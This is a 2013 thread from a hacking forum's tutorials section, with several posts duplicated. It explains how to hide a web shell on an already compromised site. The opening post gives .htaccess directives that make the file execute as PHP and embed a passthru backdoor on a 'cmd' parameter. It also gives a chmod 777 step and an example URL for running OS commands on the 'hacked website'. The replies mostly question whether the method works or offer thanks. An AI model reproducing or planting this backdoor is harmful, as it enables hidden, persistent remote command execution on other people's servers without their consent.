Sinisterly
How to hide your shell using .htaccess - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: How to hide your shell using .htaccess (/Thread-How-to-hide-your-shell-using-htaccess)

Pages: 1 2


How to hide your shell using .htaccess - pratham - 05-03-2013

Today I want to show you a less known trick in which you can use .htaccess file. Already available on server as a shell to execute OS commands, so just follow the simple steps described below. This file is also useful to add restrictions on files.


Open your PHP web shell, navigate to public_html directory and search for .htaccess file, once found, click on edit option.




After clicking on the edit option, add the following lines of code in your .htaccess file.

Code:
Quote:<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

After adding your codes, save it, and done ! Biggrin

But sometimes we can't able to edit .htaccess file due to permissions provided by the administrator so we must have to change the permissions

If we get an error: .htaccess is not readable
Then use following command to change it to the readable, writable and also in executable mode.. :wink:
command: chmod 777 .htaccess

Here in above command we can see 777, The fist digit (7) is for user,
second(7) for group and third (7) is for others..!! In UNIX/Linux permissions are divided into 3 categories User-Group-Others Smile

Now in order to use your .htaccess shell


http://www.your-hacked-website.com/.htaccess?cmd=ls

After ?cmd= you can execute any OS command of your choice.
[/quote]


Thank you..!!. Confusedmoke:

Credits : Click Here


How to hide your shell using .htaccess - pratham - 05-03-2013

Today I want to show you a less known trick in which you can use .htaccess file. Already available on server as a shell to execute OS commands, so just follow the simple steps described below. This file is also useful to add restrictions on files.


Open your PHP web shell, navigate to public_html directory and search for .htaccess file, once found, click on edit option.




After clicking on the edit option, add the following lines of code in your .htaccess file.

Code:
Quote:<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

After adding your codes, save it, and done ! Biggrin

But sometimes we can't able to edit .htaccess file due to permissions provided by the administrator so we must have to change the permissions

If we get an error: .htaccess is not readable
Then use following command to change it to the readable, writable and also in executable mode.. :wink:
command: chmod 777 .htaccess

Here in above command we can see 777, The fist digit (7) is for user,
second(7) for group and third (7) is for others..!! In UNIX/Linux permissions are divided into 3 categories User-Group-Others Smile

Now in order to use your .htaccess shell


http://www.your-hacked-website.com/.htaccess?cmd=ls

After ?cmd= you can execute any OS command of your choice.
[/quote]


Thank you..!!. Confusedmoke:

Credits : Click Here


RE: HOW TO HIDE YOUR SHELL USING .htaccess - The Real Slim Shady - 05-03-2013

Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?


RE: HOW TO HIDE YOUR SHELL USING .htaccess - The Real Slim Shady - 05-03-2013

Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?


RE: HOW TO HIDE YOUR SHELL USING .htaccess - pratham - 05-03-2013

(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

okey... i'll edit this post with the htaccess permissions :wink:

(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

@Geoff Now read the tutorial.... Any thing u want to add??


RE: HOW TO HIDE YOUR SHELL USING .htaccess - pratham - 05-03-2013

(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

okey... i'll edit this post with the htaccess permissions :wink:

(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

@Geoff Now read the tutorial.... Any thing u want to add??


RE: How to hide your shell using .htaccess - MrGeek - 05-17-2013

Nice... post.. Thanks buddy Smile


RE: How to hide your shell using .htaccess - pratham - 05-17-2013

(05-17-2013, 07:02 AM)MrGeek Wrote: Nice... post.. Thanks buddy Smile

Thanks for reading this tut... Smile Welcome... Confusedmiling:


RE: How to hide your shell using .htaccess - pratham - 05-17-2013

(05-17-2013, 07:02 AM)MrGeek Wrote: Nice... post.. Thanks buddy Smile

Thanks for reading this tut... Smile Welcome... Confusedmiling:


RE: How to hide your shell using .htaccess - Psycho_Coder - 06-22-2013

You gave the credits as Blogspot. Shouldn't you give the complete link from where you learnt this method and took reference. However you have given credits and thats a nice job